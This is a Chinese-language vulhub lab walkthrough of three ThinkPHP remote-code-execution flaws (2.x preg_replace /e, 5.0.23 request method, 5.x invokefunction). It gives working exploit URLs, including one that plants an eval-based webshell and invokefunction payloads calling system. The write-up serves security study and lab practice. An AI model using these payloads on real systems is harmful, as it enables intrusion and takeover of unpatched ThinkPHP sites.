环境搭建请参考vulhub官网,https://vulhub.org
目录
一、2-rce漏洞
二、5.0.23-rce漏洞
三、5-RCE
一、2-rce漏洞
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
访问漏洞页面
构造POC:?s=/Index/index/L/${@phpinfo()}
利用代码执行写入webshell:?s=/Index/index/L/${@print(eval($_POST[1]))}
蚁剑连接webshell获取控制权
二、5.0.23-rce漏洞
ThinkPHP是一个在中国使用非常广泛的PHP开发框架。在其5.0版本(<5.0.24)中,框架在获取请求方法时处理错误,这使得攻击者可以调用request类的任何方法,从而通过特定的漏洞利用链产生RCE漏洞。
burpsuite抓包,构造POC
执行pwd查看当前路径
三、5-RCE
ThinkPHP是一个在中国使用非常广泛的PHP开发框架。在它的版本5中,由于框架处理控制器名称不正确,如果网站没有启用强制路由(这是默认的),它可以执行任何方法,导致RCE漏洞。
直接访问URL:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1执行phpinfo
构造payload查看当前目录:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd